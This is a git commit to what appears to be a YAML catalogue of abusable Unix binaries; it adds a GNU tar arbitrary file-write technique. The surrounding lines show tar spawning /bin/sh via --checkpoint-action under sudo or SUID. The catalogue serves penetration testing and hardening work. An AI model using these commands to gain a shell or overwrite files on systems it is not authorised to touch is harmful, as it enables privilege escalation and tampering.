Add tar file-write

This commit is contained in:
Andrea Cardaci 2018-05-30 00:46:04 +02:00
parent 2975d813d2
commit 1a739b4550

View File

@ -6,4 +6,11 @@ functions:
- code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
suid-limited:
- code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
file-write:
- description: This only works for GNU tar.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo data > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
---